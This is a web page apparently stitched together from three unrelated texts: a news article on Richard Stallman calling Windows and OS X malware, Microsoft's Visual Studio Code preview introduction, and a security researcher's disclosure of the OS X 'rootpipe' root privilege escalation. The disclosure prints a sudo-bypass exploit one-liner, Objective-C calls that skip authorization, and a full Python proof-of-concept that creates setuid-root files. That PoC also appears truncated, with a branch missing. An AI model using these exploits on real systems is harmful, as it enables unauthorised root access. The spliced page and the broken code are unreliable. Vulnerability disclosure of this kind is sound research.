Windows and OS X are malware, claims Richard Stallman

Linux GNU firebrand Richard Stallman says Windows and Apple's OS X are malware, Amazon is Orwellian, and anyone who trusts the internet-of-things is an ass.

In a column for The Guardian Stallman preaches to the non-technical masses about the evils of proprietary software and vendor lock-in, and how closed-door coding facilitates clandestine deals with nation state spy agencies.

"What kinds of programs constitute malware? Operating systems, first of all," Stallman testifies.

"Apple systems are malware too: MacOS snoops and shackles; iOS snoops, shackles, censors apps and has a backdoor.

"Even Android contains malware in a nonfree component: a back door for remote forcible installation or deinstallation of any app."

Stallman references a a Bloomberg report in saying Microsoft "sabotages" Windows users by disclosing vulnerabilities to the NSA before patches are released.

It isn't just Windows and MacOS – we think he means Apple's OS X – that Stallman brands malware: Barbie dolls, smart TVs, and cars also earn his ire thanks to the potential for marketers to secretly pry on a child's worst fears or listen in to lounge room conversations.

Stallman makes a valid if perhaps less hyperbolic point; that many commercial software houses are notoriously focused on time-to-market and at best bolt security checks on at the end of development, if at all.

The dash for cash also means patching is patchy. Vendors rarely pay much attention to shuttering security vulnerabilities created as a result of the bolt-on security ideology, and pay less still to discovering holes in their products.

There are of course many exceptions, with large and small organisations running bug bounties and working to harden code.

Yet the problem is bad enough that governments have universally kept crosshairs fixed on hackers who exploit, rather than developers who push out dangerous code.

Open source produce is not immune from vulnerabilities, but its inherent transparency means flaws are more likely to be found and fixed. It also makes the prospect of inserting sneaky backdoors into code a decidedly riskier proposition since it may be more easily found.

We may love our malicious smart phones, social networks, and internet-connected devices, but resistance, Stallman says, is not futile.

"It is fashionable to recognise the viciousness of today’s computing only to declare resistance unthinkable. Many claim that no one could resist gratification for mere freedom and privacy. But it’s not as hard as they say. We can resist:
  • Individually, by rejecting proprietary software and web services that snoop or track.
  • Collectively, by organising to develop free/libre replacement systems and web services that don’t track who uses them.
  • Democratically, by legislation to criminalise various sorts of malware practices. This presupposes democracy, and democracy requires defeating treaties such as the TPP and TTIP that give companies the power to suppress democracy."

Why Visual Studio Code?

Visual Studio Code provides developers with a new choice of developer tool that combines the simplicity and streamlined experience of a code editor with the best of what developers need for their core code-edit-debug cycle. Visual Studio Code is the first code editor, and first cross-platform development tool - supporting OSX, Linux, and Windows - in the Visual Studio family.

At its heart, Visual Studio Code features a powerful, fast code editor great for day-to-day use. The Preview release of Code already has many of the features developers need in a code and text editor, including navigation, keyboard support with customizable bindings, syntax highlighting, bracket matching, auto indentation, and snippets, with support for dozens of languages.

For serious coding, developers often need to work with code as more than just text. Visual Studio Code includes built-in support for always-on IntelliSense code completion, richer semantic code understanding and navigation, and code refactoring. In the Preview, Code includes enriched built-in support for ASP.NET 5 development with C#, and Node.js development with TypeScript and JavaScript, powered by the same underlying technologies that drive Visual Studio. Code includes great tooling for web technologies such as HTML, CSS, LESS, SASS, and JSON. Code also integrates with package managers and repositories, and builds and other common tasks to make everyday workflows faster. And Code understands Git, and delivers great Git workflows and source diffs integrated with the editor.

But developers don't spend all their time just writing code: they go back and forth between coding and debugging. Debugging is the most popular feature in Visual Studio, and often the one feature from an IDE that developers want in a leaner coding experience. Visual Studio Code includes a streamlined, integrated debugging experience, with support for Node.js debugging in the Preview, and more to come later.

Architecturally, Visual Studio Code combines the best of web, native, and language-specific technologies. Using the GitHub Electron Shell, Code combines web technologies such as JavaScript and Node.js with the speed and flexibility of native apps. Code uses a newer, faster version of the same industrial-strength HTML-based editor that has powered the “Monaco” cloud editor, Internet Explorer's F12 Tools, and other projects. And Code uses a tools service architecture that enables it to use many of the same technologies that power Visual Studio, including Roslyn for .NET, TypeScript, the Visual Studio debugging engine, and more. In future previews, as we continue to evolve and refine this architecture, Visual Studio Code will include a public extensibility model that lets developers build and use plug-ins, and richly customize their edit-build-debug experience.

We are, of course, still very early with Visual Studio Code. If you prefer a code editor-centric development tool, or are building cross-platform web and cloud applications, we invite you to try out the Visual Studio Code Preview, and let us know what you think!

Next Steps

Read on to find out about:

  • Code Basics - a quick orientation of VSCode
  • Editing Evolved - from code colorization & multi-cursor to IntelliSense
  • Debugging - OK time for the really fun stuff - break, step, watch

Hidden backdoor API to root privileges in Apple OS X

The Admin framework in Apple OS X contains a hidden backdoor API to root privileges. It’s been there for several years (at least since 2011), I found it in October 2014 and it can be exploited to escalate privileges to root from any user account in the system.

The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but any user process can use the same functionality.

Apple has now released OS X 10.10.3 where the issue is resolved. OS X 10.9.x and older remain vulnerable, since Apple decided not to patch these versions. We recommend that all users upgrade to 10.10.3.

Why I started searching for vulnerabilities in OS X

TrueSec specialists speak at IT conferences worldwide. I wanted to have something new to demo at a Security Conference for Developers in November 2014. I’ve done many proof-of-concept hacks on iOS and Android before, to highlight what malicious code can achieve with vulnerable devices.

This time it was a security conference for developers, and many of them use Apple OS X as their primary operating system. I wanted to show that OS X could be hacked just as easily as iOS or Android. Operating systems are built out of software, developers create this software, developers make mistakes, and mistakes can introduce security vulnerabilities. I wanted to highlight that all software (yeah, even from Apple) contains vulnerabilities, and many are still to be discovered.

Building a nice demo

The first exploit I used was based on CVE-2013-1775, a sudo authentication bypass bug that was patched in version 10.8.5 (Sept 2013). It felt boring that the vulnerability was more than a year old. The exploit code is very simple:

$ sudo -k;systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su

I talked to my colleague and software developer Philip Åkesson, about the fact that this exploit code uses systemsetup (command line utility) to modify the system time. We were both curious to find out the details of the fix. It turned out that, apart from patching sudo, Apple also changed another thing. They changed so that systemsetup requires root, even to display the help text! When systemsetup is run without root access, the following message is displayed (in 10.8.5 or later):

$ systemsetup
You need administrator access to run this tool... exiting!

This message is a bit misleading, since we are actually running this as an admin user. The user account created during installation of OS X will be admin by default. This is something that I think most OS X users don’t care much about, since sudo and application installation requires password input.

Anyway, the message above indicates that root access is now required to perform the commands (which previously could be done with admin rights).

I found the following code through a quick disassembly in Hopper:


Okay, so the systemsetup binary simply checks if we are running as the root user?

Philip tried patching that function (replacing sete with setne), with success:

$ systemsetup
> systemsetup
> type -help for help.

But so far, we’re only back to the previous behavior of systemsetup (prior to 10.8.5). One example of the commands you can perform with systemsetup is:

$ systemsetup –setremotelogin on

This will enable ssh server on port 22. You can of course also start ssh through launchctl, but launchctl would then require root privileges. So there’s obviously a difference in privileges required! The class name RemoteServerSettings indicates that there’s some kind of interprocess communication, this would explain why operations that require root could be performed. Still, it’s worth mentioning that SSH can also be started through System Preferences (Sharing) without root access.

But I found this discrepancy in permissions interesting, and continued disassembling systemsetup.

The setremotelogin command is implemented in systemsetup as a method called [ServerSettings setRemoteLogin:].

The function does some input checking, and then calls [InternetServices setSSHServerEnabled:]. This is implemented in the Admin framework (used by systemsetup). Disassembly of the Admin framework shows that setSSHServerEnabled is not the only method of the InternetServices interface. There are also methods for starting/stopping many other services. Here’s a listing:

+[InternetServices sharedInternetServices]
+[InternetServices sharedInternetServices].sSharedInternetServices
-[InternetServices _netFSServerFrameworkBundle]
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundle
-[InternetServices _netFSServerFrameworkBundle].sNetFSServerkBundleOnce
-[InternetServices faxReceiveEnabled]
-[InternetServices ftpServerEnabled]
-[InternetServices httpdEnabled]
-[InternetServices isFTPServerAvailable]
-[InternetServices isFaxReceiveAvailable]
-[InternetServices isGuestForProtocolEnabled:]
-[InternetServices isHttpdAvailable]
-[InternetServices isNSCProtocolAvailable:]
-[InternetServices isNSCProtocolEnabled:]
-[InternetServices isNSServerShuttingDown:]
-[InternetServices isOpticalDiscSharingEnabled]
-[InternetServices isRemoteAEServerAvailable]
-[InternetServices isSSHServerAvailable]
-[InternetServices nscServerCancelShutdown:refNum:]
-[InternetServices nscServerShutdown:withDelay:]
-[InternetServices numberOfClientsForProtocols:]
-[InternetServices remoteAEServerEnabled]
-[InternetServices saveNatPrefs:]
-[InternetServices screensharingEnabled]
-[InternetServices sendSIGHUPToEfax]
-[InternetServices setFTPServerEnabled:]
-[InternetServices setFaxReceiveEnabled:]
-[InternetServices setGuestForProtocol:enabled:]
-[InternetServices setHttpdEnabled:]
-[InternetServices setInetDServiceEnabled:enabled:]
-[InternetServices setNSCProtocols:enabled:]
-[InternetServices setOpticalDiscSharingEnabled:]
-[InternetServices setRemoteAEServerEnabled:]
-[InternetServices setSSHServerEnabled:]
-[InternetServices setScreensharingEnabled:]
-[InternetServices sshServerEnabled]
___47-[InternetServices _netFSServerFrameworkBundle]_block_invoke

Some of these, like setHttpdEnabled and setSSHServerEnabled are implemented using a shared helper method [ADMInternetServices setInetDServiceEnabled:enabled:].

I read more of the code inside Admin framework, but stopped at the following code:


This seems to be the code that creates a user-specific apache configuration file for guest accounts (notice that root is owner of this file):

$ ls -l /etc/apache2/users/
total 8
-rw-r--r-- 1 root wheel 139 Apr 1 05:49 std.conf

A hidden backdoor API to root access is revealed

The last Objective-C method that was called in the code screenshot above is createFileWithContents:path:attributes:. It takes an array of bytes (the data to write), a file path and POSIX file attributes.

Re-using this function from my own Objective-C code would look something like this:

[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @0777 }];

The question is how we can get hold of the magic “tool” reference. If we look in the beginning of the code screenshot, the code corresponds to this:

id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
id tool = [sharedClient remoteProxy];

Is it really that simple? No! :) But we are getting there. I tried doing this in my own code, but got the following error:

### Attempt to send message without connection!

The next thing to do was finding where this error message is printed:


OK, so this is a check to verify that the XPC proxy within my process is initiated. Let’s look at the ocurrences of _onewayMessageDispatcher to locate the initialization code:


The authenticateUsingAuthorization method is where the actual initialization takes place:


This is exactly what I needed. This is creating an XPC client to the writeconfig XPC service and that service is running as root.


The only question was what I should send as argument to authenticateUsingAuthorization? I went back to the systemsetup binary again and found the following:


It seems like the result of [SFAuthorization authorization] could do the trick. Here’s my modified exploit code, ready for a new attempt:

id auth = [objc_lookUpClass("SFAuthorization") authorization];
id sharedClient =
    [objc_lookUpClass("WriteConfigClient") sharedClient];
[sharedClient authenticateUsingAuthorizationSync: auth];
id tool = [sharedClient remoteProxy];

[tool createFileWithContents:data
                        path:[NSString stringWithUTF8String:target]
                  attributes:@{ NSFilePosixPermissions : @04777 }];

Note that I’m using a Sync-variant of authenticateUsingAuthorization with the same functionality and set the POSIX file permissions to 4777. The file is finally created, and setuid bit is set:

-rwsrwxrwx 1 root wheel 25960 Apr 1 19:29 rootpipe.tmp

Since the setuid bit is set and owner is root, we have a privilege escalation.

My first exploit code was for 10.7.x and 10.8.x, where class and method names are slightly different. The names used above are for 10.9 and later.

There’s still a limitation with the exploit code, it only works for users with admin permissions. As I mentioned earlier, almost all OS X users are admin (since OS X users often are single user systems). Before reporting the issue to Apple, I tried with a standard account, and got the following error message:

### authenticateUsingAuthorizationSync error:Error Code=-60007 "The operation couldn’t be completed. ( error -60007.)"

But I actually found a way to make it work for all users later, which means that the exploit is no longer limited to admin accounts only. It is as simple as sending nil to authenticateUsingAuthorizationSync instead of using the result of [SFAuthorization authorization]:

[sharedClient authenticateUsingAuthorizationSync: nil];

It seems like the authorization checks are made by triggering callback functions on the auth-object supplied. For those of you who are not Objective-C programmers: Guess what happens if you call methods on a null reference – or to use Objective-C language, send a message to nil? Nothing! :)

Conclusion and recommendation

The Admin framework in Apple OS X contained a hidden backdoor API to root access for several years (at least since 2011, when 10.7 was released). The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but there is no access restriction. This means the API is accessible (through XPC) from any user process in the system.

This is a local privilege escalation to root, which can be used locally or combined with remote code execution exploits.

Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older.

Our recommendation to all OS X users out there: Upgrade to 10.10.3 (or later).

Rootpipe Full Disclosure live walkthrough, and much more…

I will explain all details of the rootpipe vulnerability in my session at Security Conference 2015, May 28 in Stockholm, Sweden. You’ll see live on stage how attackers find vulnerabilities in your code, even if they only have access to binaries. My colleagues will present other cool stuff that developers should know about, focusing on security threats and how to write secure code. Visit for more info.


  • Oct 2nd 2014: First discovery
  • Oct 3rd 2014: First contact with Apple Product Security Team
  • Oct 14th 2014: Exploit code shared with Apple
  • Oct 24th 2014: Initial full disclosure date set to Jan 12th 2015
  • Oct 16th 2014: Release of OS X 10.10 Yosemite, vulnerable to rootpipe
  • Nov 14th 2014: Apple requested to postpone disclosure
  • Nov 17th 2014: Release of OS X 10.10.1, also vulnerable
  • Jan 12th 2015: Joint decision between Apple and TrueSec to postpone disclosure due to the amount of changes required in OS X
  • Jan 16th 2015: CVE-2015-1130 created by Apple
  • Jan 27th 2015: Release of OS X 10.10.2, also vulnerable
  • March 2nd 2015: Release of OS X 10.10.3 public beta, issue solved
  • April 1st 2015: Apple confirmed that release is coming the second week of April
  • April 8th 2015: Release of OS X 10.10.3
  • April 9th 2015: Full disclosure

Exploit code

#  PoC exploit code for rootpipe (CVE-2015-1130)
#  Created by Emil Kvarnhammar, TrueSec
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool

def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);

def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])

args = sys.argv

if len(args) != 3:
    print "usage: source_binary dest_binary_as_root"

source_binary = args[1]
dest_binary = os.path.realpath(args[2])

if not os.path.exists(source_binary):
    raise Exception("file does not exist!")

pool = NSAutoreleasePool.alloc().init()

attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)

print "will write file", dest_binary

if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")

    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()

    # authref with value nil is not accepted on OS X <= 10.8
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    tool = client.remoteProxy()

    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)

print "Done!"

del pool